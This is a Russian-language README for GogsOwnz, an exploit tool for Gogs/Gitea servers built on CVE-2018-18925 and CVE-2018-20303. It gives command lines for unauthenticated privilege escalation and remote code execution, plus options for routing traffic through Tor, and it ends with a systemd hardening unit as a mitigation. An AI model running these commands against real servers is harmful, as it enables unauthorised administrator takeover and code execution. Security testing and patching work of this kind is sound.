
Gogs CVEs
GogsOwnz — это простой скрипт для получения прав администратора и выполнения удалённого кода (RCE) на сервере Gogs/Gitea.
Эксплуатирует уязвимости в Gogs/Gitea, в том числе CVE-2018-18925, CVE-2018-20303.
Юридический отказ от ответственности Этот скрипт предоставляется «как есть». Без каких-либо гарантий. Используйте на свой страх и риск, соблюдайте закон.
Получить информацию о запущенном Gogs/Gitea
python3 gogsownz.py https://127.0.0.1:3000/ -v --info
Эксплуатировать повышение привилегий без аутентификации (preauth PrivEsc)
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth
Эксплуатировать повышение привилегий (PrivEsc)
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup
или, альтернативно
python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup
Эксплуатировать RCE без аутентификации (preauth RCE)
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup
Эксплуатировать RCE с аутентификацией (auth RCE)
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup
Полное использование
usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
[--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
[--check-tor] [--burp] [-k] [--verbose]
url
positional arguments:
url URL для сервера Gogs
optional arguments:
-h, --help показать это справочное сообщение и выйти
-C CREDS, --creds CREDS
Учётные данные для сервера Gogs в формате
"username:password"
-n COOKIENAME, --cookie-name COOKIENAME
Имя сессионной куки, специфичной для Gogs
-c COOKIE, --cookie COOKIE
Сессия для сервера Gogs, значение куки i_like_gogits
-i, --info Только определить информацию о работающем сервере Gogs,
затем выйти
--rce RCE Команда для выполнения на сервере Gogs
--repo REPO Использовать существующий репозиторий для повышения привилегий
--preauth Попробовать уязвимость без аутентификации
--windows Сервер Gogs работает под Windows
--cleanup Удалить все созданные репозитории после эксплуатации
--tor Использовать прокси Tor при выполнении запросов
--check-tor Проверить, что Tor настроен правильно, перед запуском
--burp Использовать прокси Burp при выполнении запросов
-k, --insecure Разрешить небезопасные соединения с сервером при использовании SSL
--verbose, -v
Спасибо:
https://github.com/gogs/gogs/issues/5469
https://github.com/gogs/gogs/issues/5558
https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51
https://github.com/gogs/gogs/issues/5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf
Если вы позаботитесь о настройке файла юнита systemd, вы будете приятно удивлены, обнаружив, что эксплуатация несколько сдерживается:
[Unit]
Description=Gogs
After=syslog.target
After=network.target
[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs
# Некоторые дистрибутивы могут не поддерживать эти директивы усиления защиты. Если вы не можете запустить службу из-за
# неизвестной опции, закомментируйте те, которые не поддерживаются вашей версией systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
Это, по крайней мере, ограничит доступ к файловой системе эфемерной файловой системой, созданной systemd. Это помогает, но вам, очевидно, следует исправить повышение привилегий и не предоставлять никому прав администратора.